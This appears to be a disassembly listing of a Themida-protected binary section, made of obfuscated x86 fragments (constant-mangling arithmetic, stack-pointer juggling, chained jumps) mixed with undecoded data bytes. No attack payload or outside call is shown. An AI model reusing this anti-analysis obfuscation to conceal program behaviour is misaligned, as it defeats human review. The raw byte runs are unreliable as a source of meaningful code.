loc_5140D3: ; CODE XREF: Themida_:005073D6j
sub ecx, 557300B4h
jmp loc_5042B8
; ---------------------------------------------------------------------------
dw 0E95Eh
dd 0FFFF065Ch, 0A9DAE952h, 487FFFFh, 0D6685C24h, 8900006Bh
dd 0F168240Ch, 89000021h, 0DCBA2414h, 0C146E251h, 0E95102EAh
dd 0FFFF6598h, 81242C8Bh, 4C4h, 4DD5F700h, 2C80E581h, 0E581065Dh
dd 2589788Ah, 69EBE581h, 0BE5663CFh, 639B6A4Ah, 0D6F7E6D1h
dd 8106EEC1h, 266336C6h, 0E9E6D121h, 0FFFFED7Dh, 817B9FBEh
dd 48D5E925h, 0E951FFFFh, 0FFFFEF56h, 0BF57E189h, 49380DD5h
dd 0ABE7814Fh, 817A4637h, 0FFFA84C7h, 6823E9B7h, 0F7B9FFFFh
dd 31742B2Fh, 0D8F759C8h, 0F2BF5740h, 57646B27h, 9C579EBFh
dd 2943E96Eh
db 2 dup(0FFh)
word_51418A dw 8F66h ; DATA XREF: Themida_:005028D0o
dd 0E939E902h, 5A5EFFFEh, 36A9F281h, 348B636Dh, 4EC8124h
dd 89000000h, 2DE92434h
db 47h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5141AB: ; CODE XREF: Themida_:0051312Cj
push ecx
jmp loc_5075A6
; ---------------------------------------------------------------------------
db 0F6h, 0D2h, 80h
dd 8850B1C2h, 58E588D4h, 2883B05Ah, 0BCF7E9E8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5141C6: ; CODE XREF: Themida_:00514876j
mov [esp], ebx
mov bl, 57h
jmp loc_50D7FA
; ---------------------------------------------------------------------------
dd 42474FFh, 5024048Bh, 7EE9E089h, 5FFFF4Ah, 4, 8704C083h
dd 55C2404h, 5C382054h, 542DD801h, 5B5C3820h, 8956D829h
dd 4C681E6h, 83000000h, 348704EEh, 46E95C24h, 0BAFFFF0Fh
dd 281D3298h, 682BE6BDh, 5AD53136h, 0FFC666E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_514221: ; CODE XREF: Themida_:0050E981j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_50BDBD
; ---------------------------------------------------------------------------
db 8Bh
dd 9FE9243Ch, 81FFFF69h, 12239EF6h, 0E9F5898Eh, 0FFFF184Dh
dd 2434895Ch, 0FF2A68E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_514255: ; CODE XREF: Themida_:00507F09j
push esi
mov esi, 79774A02h
mov ebx, 8688B602h
add ebx, esi
pop esi
jmp loc_50E539
; ---------------------------------------------------------------------------
dd 0C244429h, 221EE958h
db 2 dup(0FFh)
word_514272 dw 6866h ; DATA XREF: Themida_:005028A4o
dd 0ADE922B3h
db 6Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51427B: ; CODE XREF: Themida_:0050DDE8j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push 0B75h
mov [esp], ebx
push 174Dh
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
push edi
mov edi, 716013ECh
xor edi, 1392110Fh
push ebx
jmp loc_51745B
; ---------------------------------------------------------------------------
a_Ksi db '¹=_ØKé‰ ',0
dw 8300h
dd 206804C4h, 8900001Fh, 0EC812404h, 4, 68241C89h, 1828h
dd 50240C89h, 1F0FE9h, 0A5ABF00h, 0C781437Bh, 6C25E955h
dd 895FFA29h, 5B3FE9D1h, 0C781FFFFh, 0BD53D11Bh, 0D7DFD2Dh
dd 5F82928h, 280D7DFDh, 83243C8Bh, 0F00104C4h, 0FA581B05h
dd 24348B73h, 0FFBA04E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_514321: ; CODE XREF: Themida_:005164D9j
mov ebx, 1FDB7F30h
shr ebx, 6
sub ebx, 8F411238h
mov eax, ebx
pop ebx
shl eax, 7
shl eax, 2
not eax
xor eax, 0C7BA14B5h
sub edx, eax
pop eax
push eax
mov eax, 52FC69C9h
and eax, 2A800679h
sub eax, 99509E5h
or eax, 4BD04AE1h
shr eax, 1
sub eax, 2B896AADh
add edx, eax
jmp loc_50A16F
; ---------------------------------------------------------------------------
loc_514365: ; CODE XREF: Themida_:00508D28j
push edi
mov edi, 577C7008h
inc edi
jmp loc_50B77A
; ---------------------------------------------------------------------------
aYsw db 'YéW+',0
dw 8B00h
dd 0C483243Ch, 14B85004h, 252DA514h, 6047CB7h, 8904EC83h
dd 47BB241Ch, 0E92FA80Bh, 0FFFF7B12h, 0F281DAF7h, 65180591h
dd 223EE957h, 1C8BFFFFh, 4C48324h, 5B196866h, 24148966h
dd 386D68h, 240C8900h, 0C3B75366h, 0FFCC0BE9h, 241C87FFh
dd 9B35E95Ch, 0FF59FFFFh, 148B2434h, 4C48324h, 19BEE9h
db 0
; ---------------------------------------------------------------------------
loc_5143DD: ; CODE XREF: Themida_:0050CE5Dj
sub eax, 1D2D4B47h
sub eax, 67CA690Eh
sub eax, 56DD3279h
add eax, esi
jmp loc_512AB6
; ---------------------------------------------------------------------------
aH? db ')ß[h?<',0
dw 8900h
dd 0E0BE2434h, 8165704Eh, 875A03F6h, 6EEC123h, 22D0E9h
dd 62CE6800h, 4890000h, 5C4E6824h, 8F540000h, 0BF572404h
dd 4, 4244481h, 386451F0h, 4247C01h, 0FFFBE0E9h, 4C181FFh
dd 81000000h, 4C1h, 240C8700h, 51C7FE5Ch, 0D1F6CCB1h, 0E0F180h
dd 0AADDE9CFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51445A: ; CODE XREF: Themida_:0051112Cj
push esi
mov esi, 36763AB4h
sub esi, 36763AB0h
jmp loc_513D09
; ---------------------------------------------------------------------------
db 52h
dd 65E9h, 67685800h, 8900006Bh, 4B82404h, 50000000h, 8E71A6B8h
dd 4BD33576h, 8E0505EEh, 0D7A9F72h, 79F30DC9h, 19E9D0F7h
dd 0BFFFFF4Bh, 4, 0D0E9FE01h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5144A7: ; CODE XREF: Themida_:0050EF27j
push ebx
mov bl, 7Eh
and bl, 13h
dec bl
not bl
inc bl
and bl, 22h
push ecx
mov ch, 0A7h
add ch, 17h
push edx
mov dh, 29h
inc dh
add dh, 0AEh
add dh, 6Bh
neg dh
or dh, 0CBh
xor dh, 0C5h
add ch, dh
jmp loc_50D03B
; ---------------------------------------------------------------------------
dw 0B3BAh
dd 8343FC50h, 814201C2h, 0FC50B1F2h, 5AD00143h, 405h, 0FBF8E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5144F2: ; CODE XREF: Themida_:0050DA58j
pop edi
shr edi, 3
add edi, 56D3DCDBh
xor ebp, edi
pop edi
sub esp, 4
mov [esp], eax
mov eax, 7A661932h
jmp loc_5103E6
; ---------------------------------------------------------------------------
loc_514512: ; CODE XREF: Themida_:00504EFBj
mov ecx, ebx
pop ebx
and ebp, ecx
pop ecx
sub esp, 4
jmp loc_502E54
; ---------------------------------------------------------------------------
dd 4C481h, 0C1810000h, 4, 4EC81h, 2C890000h, 4EC8324h
dd 0BE243489h, 273633E1h, 0FF5899E9h, 0FE5966FFh, 71D4E9C7h
dd 0F001FFFFh, 2404875Eh, 4BA525Ch, 1000000h, 0F19CE9D5h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_514562: ; CODE XREF: Themida_:00502B4Cj
mov ebx, 44F61172h
xor [esp+4], ebx
pop ebx
mov eax, [esp]
add esp, 4
xor eax, 44F61172h
jmp loc_516E20
; ---------------------------------------------------------------------------
db 0B9h
dd 4, 0E959CE29h, 0FFFFBA61h, 5A2434FFh, 815A5452h, 4C2h
dd 4C28100h, 87000000h, 0E95C2414h, 0FFFEFB41h, 83241C8Bh
dd 0BA5204C4h, 4, 0FEFD7CE9h, 240489FFh, 0E951E888h, 0FFFFDDE7h
dd 4BEh, 66ED8100h, 160264Fh, 66C581F5h, 5E60264Fh, 0FFDC20E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5145DD: ; CODE XREF: Themida_:00510C06j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esp
jmp loc_5102D7
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 0B76DE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_514602: ; CODE XREF: Themida_:00508FC7j
mov dl, 0BCh
neg dl
push ebx
push ecx
mov cl, dl
mov bh, cl
jmp loc_511A87
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0FF241C89h, 8B042474h, 79E9241Ch
db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_514623: ; CODE XREF: Themida_:005154D6j
pop ecx
add eax, edi
push edx
jmp loc_513671
; ---------------------------------------------------------------------------
dword_51462C dd 7B0E68h, 24348900h, 52956853h, 525B73BCh, 0C727EBBAh
; DATA XREF: Themida_:00502A7Co
dd 8CA8115h, 42522356h, 2A4BF281h, 0D3310D46h, 4EC815Ah
dd 0E9000000h, 0FFFF3B7Bh, 4C681h, 0EE810000h, 4, 5C243487h
dd 0BE243489h, 51E23483h, 5714F681h, 0B9514412h, 3DB87C19h
dd 0FEE555E9h, 5FFB01FFh, 6E54BE56h, 0E6C15F87h, 0DDEE8103h
dd 817CE369h, 831784C3h, 81F3011Ah, 831784EBh, 43E95E1Ah
dd 89FFFF46h, 5D54242Ch, 4C581h, 0ED830000h, 242C8704h
dd 48F545Ch, 24048124h, 4, 4B8505Ah, 81000000h, 0E01D18C2h
dd 81C2016Eh, 0E01D18EAh, 39DBE96Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5146E2: ; CODE XREF: Themida_:00516702j
push 2410h
mov [esp], esi
mov esi, 2FC7325Eh
sub edi, esi
mov esi, [esp]
jmp loc_502E92
; ---------------------------------------------------------------------------
loc_5146F9: ; CODE XREF: Themida_:00505E1Bj
sub eax, edx
pop edx
push eax
jmp loc_509830
; ---------------------------------------------------------------------------
dw 0F781h
dd 64EF3BD6h, 3C8BFA01h, 4C48124h, 0E9000000h, 0FFFF103Bh
dd 0C102E3C1h, 90E902E3h, 52FFFF3Bh, 0C281E289h, 4, 2C281h
dd 14330000h, 24143124h, 5C241433h, 0E586C5FEh, 0E530D4F6h
dd 0C9E9EC30h, 52FFFF22h, 0FF3758E9h, 645DBEFFh, 0DFE9061Eh
dd 81FFFF98h, 32276BE9h, 0BF575D6Ch, 4, 0C8E9F929h
db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51476F: ; CODE XREF: Themida_:0050633Ej
mov eax, 346652CCh
jmp loc_50A29A
; ---------------------------------------------------------------------------
db 5Ch, 89h, 4
dd 57E08924h, 27B4E955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_514786: ; CODE XREF: Themida_:0050EFE2j
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_50BCC2
; ---------------------------------------------------------------------------
dw 525Bh
dd 0C281E289h, 4, 0FF8578E9h, 4C481FFh, 83000000h, 875504C4h
dd 0D0F72404h, 5D240487h, 3FD8C581h, 0DDF702C3h, 4FC58145h
dd 5F6913Ch, 2CB20969h, 0D268E801h, 89000039h, 0F0BF243Ch
dd 81443706h, 4ECh, 242C8900h, 0B8DE9h, 4206800h, 1C890000h
dd 8638E924h, 0E980FFFFh, 865166E6h, 0CE862434h, 8F71E951h
db 2 dup(0FFh)
word_514802 dw 56ADh ; DATA XREF: Themida_:00502964o
dd 7424E4BEh, 221AE942h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51480E: ; CODE XREF: Themida_:0050A756j
and esi, 69D27108h
add esi, 36280175h
sub esi, 76280179h
jmp loc_5086E5
; ---------------------------------------------------------------------------
db 5Dh, 81h, 0EFh
dd 4, 5C243C87h, 0BB241C89h, 175C1A10h, 815BDA29h, 3061D4C2h
dd 5AD531B7h, 59FAEB81h, 0B5E96AA4h, 2DFFFFD5h, 7EC95B13h
dd 0FFCC38E9h, 0FE95CFFh
db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51485F: ; CODE XREF: Themida_:0050A46Aj
add esp, 4
add bh, 7Fh
or bh, 35h
push 139Dh
mov [esp], ecx
sub esp, 4
jmp loc_5141C6
; ---------------------------------------------------------------------------
db 81h
dd 6D66E4C1h, 21C18110h, 0E910F958h, 0FFFF7A1Bh, 0CE9C189h
dd 55FFFF18h, 0FF26C4E9h, 1EC281FFh, 5779A0C3h, 6416E3BFh
dd 0B8E78165h, 816C5C51h, 0BC611CF7h, 4EFC16Eh, 0FF754CE9h
dd 241C89FFh, 0EBD5556h, 111FA25h, 5D04246Ch, 0EEB815Bh
dd 8911FA25h, 241C8BDAh, 56DE957h, 4BAFFFFh, 56000000h
dd 0E21511BEh, 5EF1013Eh, 64C8E981h, 0D129731Eh, 64C8C181h
dd 0BA52731Eh, 3EE21511h, 0FF91F8E9h, 240C8BFFh, 4C481h
dd 0B6520000h, 53CEFE65h, 39E9EAB3h, 8FFFFF81h, 248B2404h
dd 48B6624h, 88E95624h, 8900002Dh, 4812424h, 424h, 24048B00h
dd 4C481h, 4050000h, 81000000h, 4ECh, 24348900h, 36231668h
dd 0D6875E51h, 0E956D2F7h, 0FFFF36C0h, 0DF4136BAh, 3666E936h
dd 0BD55FFFFh, 827ED829h, 0FF1C58E9h, 4C483FFh, 5C24048Fh
dd 2C181h, 0C870000h, 0E1F65C24h, 0CCB60F66h, 0FFA621E9h
dd 24148BFFh, 0FF9553E9h, 0EB0158FFh, 83242C8Bh, 1C8704C4h
dd 0C4815C24h, 4, 4C181h, 28E90000h
db 2Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5149AF: ; CODE XREF: Themida_:00507D18j
or ebp, ebx
pop ebx
shr ebp, 4
jmp loc_50D6DF
; ---------------------------------------------------------------------------
aB_0 db 'ÃÓ;Æ',0
dd 0EB81CB01h, 0C63BD3h, 2434FF59h, 0EC0EE95Eh, 0E95CFFFEh
dd 0FFFEE0F3h
; ---------------------------------------------------------------------------
loc_5149D8: ; CODE XREF: Themida_:00504CA7j
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_51021D
; ---------------------------------------------------------------------------
loc_5149E7: ; CODE XREF: Themida_:0050A85Fj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
jmp loc_50D50C
; ---------------------------------------------------------------------------
db 89h
dd 8BA2414h, 0E9250158h, 0FFFF2595h, 8101ED83h, 412CB0EDh
dd 88A9E970h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_514A32: ; CODE XREF: Themida_:00502EE9j
pop ecx
add esp, 4
push eax
jmp loc_51079E
; ---------------------------------------------------------------------------
loc_514A3F: ; CODE XREF: Themida_:00508440j
add eax, 53F0113Ch
sub eax, 3E1923FCh
push edi
mov edi, 786B0DCEh
xor edi, 18916348h
xor edi, 339874D1h
add edi, 0EF275C7Fh
jmp loc_509E7A
; ---------------------------------------------------------------------------
dw 54B5h
dd 0E9BFCD80h, 0FFFF2A0Ah, 0EAC1DAF7h, 0A8EA8102h, 0BE12D7CDh
dd 5DB35EE6h, 148BD631h, 4C48124h, 31000000h, 0F5815EF5h
dd 4DBC0E8Eh, 6082C381h, 0EB290877h, 0FFAC48E9h, 0CB0566FFh
dd 0F0296634h, 0FF316DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_514AAD: ; CODE XREF: Themida_:005042C1j
xchg ecx, [esp]
jmp loc_514F78
; ---------------------------------------------------------------------------
byte_514AB5 db 0FFh, 77h, 3Ch ; DATA XREF: Themida_:005028B4o
aUhqq db 'UhqQ',0
align 2
dw 1489h
dd 671CE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_514AC6: ; CODE XREF: Themida_:0051758Aj
mov eax, 1F7D58BFh
add [esp+8], eax
mov eax, [esp]
add esp, 4
pop edi
mov edi, [esp]
add esp, 4
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push ebp
mov ebp, 687D229Dh
shr ebp, 2
not ebp
dec ebp
jmp loc_502D6F
; ---------------------------------------------------------------------------
db 83h
dd 4BE904C4h, 5BFFFEE4h, 3E5368h, 240C8900h, 6602EC83h
dd 0B2241489h, 0E9505326h, 0E7Bh, 0DFA1E95Dh, 60BDFFFEh
dd 8109B209h, 9E056CE5h, 5CED8129h, 0E9099201h, 273Fh
; ---------------------------------------------------------------------------
loc_514B40: ; CODE XREF: Themida_:00513726j
add esi, 4
jmp loc_5074D8
; ---------------------------------------------------------------------------
loc_514B4B: ; CODE XREF: Themida_:005050E5j
add ebx, 486A0A61h
pop edx
jmp loc_502ACB
; ---------------------------------------------------------------------------
loc_514B57: ; CODE XREF: Themida_:00507C8Dj
xor ecx, 452E2528h
add ebp, ecx
pop ecx
push edx
mov edx, 4
add ebp, edx
mov edx, [esp]
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push ebp
mov ebp, esp
add ebp, 4
push edi
mov edi, 4
sub ebp, 54986775h
add ebp, edi
add ebp, 54986775h
pop edi
jmp loc_50DFD5
; ---------------------------------------------------------------------------
db 1
dd 0EE835FFEh, 0BC58E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_514BA6: ; CODE XREF: Themida_:0050A176j
add ebx, edx
add [ebx], ecx
pop ebx
mov edx, [esp]
add esp, 4
pop ecx
loc_514BB5: ; CODE XREF: Themida_:00506738j
push ebx
jmp loc_510A70
; ---------------------------------------------------------------------------
loc_514BBB: ; CODE XREF: Themida_:005123E4j
mov ebx, 0
add ebx, 7AD215CFh
jmp loc_51317F
; ---------------------------------------------------------------------------
db 0C1h
dd 0C28103E2h, 1FC46C2Ch, 3EAC14Ah, 805E9h
db 0
; ---------------------------------------------------------------------------
loc_514BDD: ; CODE XREF: Themida_:005173DCj
xor eax, edi
pop edi
add esi, eax
pop eax
jmp loc_50FD0A
; ---------------------------------------------------------------------------
loc_514BE8: ; CODE XREF: Themida_:005155C9j
mov [esp], ebx
mov ebx, 1
jmp loc_510080
; ---------------------------------------------------------------------------
db 5Ah, 31h, 0FBh
dd 0F268E95Fh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_514BFE: ; CODE XREF: Themida_:00515EA6j
pop eax
jmp loc_5071DF
; ---------------------------------------------------------------------------
dd 4244481h, 531C7EEBh, 0EB815B5Eh, 4D05F0Bh, 0FFE52FE9h
dd 241487FFh, 4EC815Ch, 89000000h, 0A968243Ch, 8B210C07h
dd 9AE9243Ch, 8BFFFF03h, 8956240Ch, 4C681E6h, 83000000h
dd 348704C6h, 780BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_514C4A: ; CODE XREF: Themida_:0050EABFj
sub eax, 5A0ACDBDh
push eax
pop edi
pop eax
add ebx, edi
pop edi
sub ebx, 4
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
sub esp, 4
mov [esp], esp
push edi
mov edi, 4
add [esp+4], edi
mov edi, [esp]
add esp, 4
pop eax
push esi
mov esi, 40953E35h
jmp loc_516CC8
; ---------------------------------------------------------------------------
loc_514C97: ; CODE XREF: Themida_:00508AE6j
shr edx, 3
jmp loc_507BDE
; ---------------------------------------------------------------------------
loc_514C9F: ; CODE XREF: Themida_:0050B8F2j
add ecx, 1DEC02B5h
add ecx, eax
sub ecx, 1DEC02B5h
pop eax
push edx
jmp loc_50C0E4
; ---------------------------------------------------------------------------
dd 24248Bh, 0E99C2404h, 80h, 2EE9D389h
db 0FDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_514CC7: ; CODE XREF: Themida_:0050E526j
mov ebx, 34AF466Dh
sub esp, 4
jmp loc_50A33E
; ---------------------------------------------------------------------------
loc_514CD7: ; CODE XREF: Themida_:0050A742j
xchg ecx, [esp]
pop esp
movzx cx, al
push small 6C7Fh
mov [esp], cx
jmp loc_502ACB
; ---------------------------------------------------------------------------
loc_514CEC: ; CODE XREF: Themida_:0050816Cj
push 68E4h
jmp loc_507EFB
; ---------------------------------------------------------------------------
dw 0E95Ch
dd 0FFFF361Fh, 815AD531h, 0D638F9EDh, 4AC58175h, 894282BAh
dd 31685DEFh, 89000015h, 0FDB9240Ch, 100A93Ch, 0EE8159CEh
dd 575657CDh, 0C681FE01h, 575657CDh, 0FEF208E9h, 0E9D189FFh
dd 0FFFFF1E7h, 0E9241C89h, 0FFFF1AD2h, 0FEDD86E9h, 839141FFh
dd 0E99101E8h, 0FFFF1815h, 15FFA29h, 4462E9EAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_514D5A: ; CODE XREF: Themida_:00510689j
sub ebp, 36E3297Ah
pop edx
xchg ebp, [esp]
pop esp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFEDD5Fh, 241C895Ch, 0C381E389h, 4, 4C381h, 7BE90000h
dd 51FFFF30h, 1AE90FB5h, 5DFFFEE9h, 5C24048Fh, 50241489h
dd 0A76C9AB8h, 60300D21h, 0C4E9059Eh
db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_514DA3: ; CODE XREF: Themida_:00507F29j
push 254Bh
jmp loc_512373
; ---------------------------------------------------------------------------
db 50h, 0B0h, 4Dh
dd 33E9C608h, 0F700000Ch, 0E98141D9h, 85B2CB8Dh, 8959CA31h
dd 24148BD1h, 4C481h, 0EFB80000h, 3166C520h, 240C8BC8h
dd 0E904C483h, 0FFFF0B68h
; ---------------------------------------------------------------------------
loc_514DE0: ; CODE XREF: Themida_:00508F4Cj
push ebx
mov ebx, 44332D28h
jmp loc_508ADA
; ---------------------------------------------------------------------------
db 51h
dd 5F7E1AB9h, 4E1C125h, 3DE8F181h, 0E9C12DFCh, 0D9F74907h
dd 0C92FF181h, 0CA89CC4Bh, 756DE959h, 315DFFFFh, 2434FFC8h
dd 4C48359h, 0C231C331h, 0FEDCAAE9h, 4C483FFh, 0FEDCA2E9h
dd 0DAE981FFh, 0E9E7DAC5h, 0FFFFAD99h, 1117685Ah, 9CE90000h
dd 1000006h, 6804245Ch, 17D3h, 0B9240C89h, 7C6A59C3h, 0F181D9F7h
dd 0E6C6EE5Fh, 8244C29h, 246C8159h, 3A716704h, 0EF68E900h
dd 248BFFFFh, 23F6E924h, 4890000h, 0BF575324h, 2, 3C8BFB89h
dd 60E95724h, 5FFFFF83h, 2E7C14Fh, 63B2C781h, 0FE3178A7h
dd 5EF0015Fh, 26F2E9h, 5EF70100h, 12E95156h, 83FFFFF4h
dd 0F83004C4h, 8B2434FFh, 0C481241Ch, 4, 0E9E08950h, 0FFFF7847h
dd 5158E588h, 1247C86h, 7C86D7F6h, 80590124h, 0E5C001C5h
dd 24C58004h, 0F62AC580h, 353C68D5h, 1C890000h, 8071B324h
dd 0C38035C3h, 2E3C07Fh, 0E936EB80h, 0FFFF42BCh
; ---------------------------------------------------------------------------
loc_514EF8: ; CODE XREF: Themida_:00508A82j
xor edi, 34B06899h
add edi, 23C458CAh
jmp loc_507A7E
; ---------------------------------------------------------------------------
db 8Bh, 2Ch, 24h
dd 81E18951h, 4C1h, 4C18100h, 0E9000000h, 0FFFF49DEh, 8DFCE81h
dd 0EEC146A9h, 85C68103h, 89F12056h, 0CE015EF1h, 160AE9h
db 0
; ---------------------------------------------------------------------------
loc_514F39: ; CODE XREF: Themida_:0050BCCAj
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
or eax, eax
jnz loc_50F184
sub esp, 4
mov [esp], esi
mov esi, 6D310BA3h
xor esi, 6D310BA2h
push esi
xor dword ptr [esp], 308338D2h
pop edx
jmp loc_51796A
; ---------------------------------------------------------------------------
loc_514F78: ; CODE XREF: Themida_:00514AB0j
pop esp
mov [esp], edx
push 1DAA1CE5h
pop edx
sub esp, 4
mov [esp], esi
mov esi, 1266002Ch
and edx, esi
pop esi
jmp loc_513FFE
; ---------------------------------------------------------------------------
dd 7FFAEA81h, 0D70157BEh, 4EF835Ah, 5C243C87h, 68241489h
dd 0C2h, 0B4240489h, 0AE96E9DBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_514FBA: ; CODE XREF: Themida_:0050FFB0j
push 2C23h
mov [esp], edx
mov edx, 342119F5h
shl edx, 5
xor edx, 84233EA4h
sub ebx, edx
jmp loc_513D9F
; ---------------------------------------------------------------------------
db 1
dd 0C3815FFDh, 319C1E2Ch, 0BD55EB01h, 12122B92h, 0FEFA4AE9h
dd 4C481FFh, 51000000h, 93466DB9h, 0C017E932h, 0CA01FFFFh
dd 4C28359h, 0E9241487h, 1ED0h, 6E0AC181h, 0F1017FFCh
dd 6E0AE981h, 515E7FFCh, 42474FFh, 83240C8Bh, 48F04C4h
dd 8B665C24h, 0EC812404h, 4, 0FFEA92E9h, 4BEFFh, 0F1010000h
dd 9A65E95Eh, 0FD88FFFFh, 0EF88C5FEh, 0E7805966h, 0E9DFF67Bh
dd 0FFFF3868h
; ---------------------------------------------------------------------------
loc_515058: ; CODE XREF: Themida_:0050C921j
push edi
mov edi, 4
sub ebp, edi
pop edi
xchg ebp, [esp]
pop esp
jmp loc_50CF0A
; ---------------------------------------------------------------------------
loc_51506A: ; CODE XREF: Themida_:005140BEj
push 4396h
mov [esp], edx
mov edx, edi
mov ebx, edx
pop edx
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
sub esp, 4
mov [esp], eax
jmp loc_504BE4
; ---------------------------------------------------------------------------
loc_51509B: ; CODE XREF: Themida_:005056AAj
add ebp, 5DA7415Fh
mov edx, ebp
mov ebp, [esp]
add esp, 4
add edx, edi
sub esp, 4
mov [esp], ebx
mov ebx, 0
jmp loc_50A675
; ---------------------------------------------------------------------------
dw 0DE01h
dd 7BF7EE81h, 0EE81258Ah, 5BF960BEh, 0E9241C8Bh, 0FFFF71B7h
dd 31243433h, 34332434h, 5888E924h, 0DAF7FFFFh, 5D2FEA81h
dd 0E2813618h, 3B4E5523h, 8102E2C1h, 822FC1E2h, 7CEA817Fh
dd 1600000h, 59E95AD6h, 5FFFFFB8h, 5820E957h, 0BA52FFFFh
dd 4, 0E95AD101h, 0FFFF3FFCh, 38E8E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_515122: ; CODE XREF: Themida_:005098CDj
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
shr ecx, 0Ah
push ecx
push eax
push 7B28h
jmp loc_507567
; ---------------------------------------------------------------------------
word_51513E dw 8B66h ; DATA XREF: Themida_:00502A6Co
dd 5BE92404h, 81FFFF37h, 4ECh, 24148900h, 0B951E289h, 34AE459Fh
dd 0FF9650E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_51515D: ; CODE XREF: Themida_:00507C6Fj
mov [esp], esi
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
add ebx, 4
push ecx
push ebp
jmp loc_505C91
; ---------------------------------------------------------------------------
loc_515194: ; CODE XREF: Themida_:00516BA6j
add ebp, 0FB3DBB04h
add eax, ebp
pop ebp
push edx
jmp loc_509628
; ---------------------------------------------------------------------------
loc_5151A3: ; CODE XREF: Themida_:0050B1DDj
mov [esp], eax
jmp loc_508268
; ---------------------------------------------------------------------------
loc_5151AB: ; CODE XREF: Themida_:00504086j
pop ecx
sub al, bh
mov ebx, [esp]
add esp, 4
add bl, 77h
push edx
mov dh, 47h
jmp loc_502B51
; ---------------------------------------------------------------------------
word_5151C2 dw 968h ; DATA XREF: Themida_:00502894o
dd 54000032h, 5124048Fh, 10E9E189h, 53FFFFA4h, 0D7E9E389h
dd 81FFFFA0h, 4C4h, 59C82900h, 0B951C801h, 3DA7939h, 0FFDE22E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5151F1: ; CODE XREF: Themida_:0050580Bj
push bx
mov bl, dh
not bl
mov dh, bl
pop bx
jmp loc_50A6ED
; ---------------------------------------------------------------------------
dd 627F68h, 243C8900h, 347866BFh, 4815759h, 547BAF24h
dd 24348B5Ch, 0FFC366E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_51521D: ; CODE XREF: Themida_:00507DCEj
sub ebx, esi
pop esi
mov ebp, ebx
pop ebx
push ecx
push eax
jmp loc_506765
; ---------------------------------------------------------------------------
dw 0D829h
dd 24048B93h, 5304C483h, 5B2414F7h, 0FEF1CAE9h, 391E68FFh
dd 4890000h, 800FB024h, 0EB8028EBh, 0E9C300E7h, 0FFFFA21Dh
dd 0E189515Ch, 4C181h, 0E9830000h, 1B09E904h, 0DD01FFFFh
dd 0F79E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_51526E: ; CODE XREF: Themida_:005128A0j
xor eax, edx
jmp loc_50D346
; ---------------------------------------------------------------------------
db 50h, 0B0h, 81h
dd 640CD0F6h, 0FE2CD0F6h, 0C0FEC0FEh, 7934C20Ch, 6658C708h
dd 662C0F68h, 0E9241C89h, 0FFFF3361h, 85FDC681h, 0E6812CD4h
dd 1C641636h, 7870EE81h, 6E9996Bh, 88FFFF2Dh, 70E95AF3h
dd 42FFFF7Ah, 0B1B9C281h, 64E9E606h, 29FFFF9Eh, 302D5FF8h
dd 0E92F7311h, 0FFFFD32Fh
; ---------------------------------------------------------------------------
loc_5152D0: ; CODE XREF: Themida_:00509ECBj
pop esp
add edx, 1
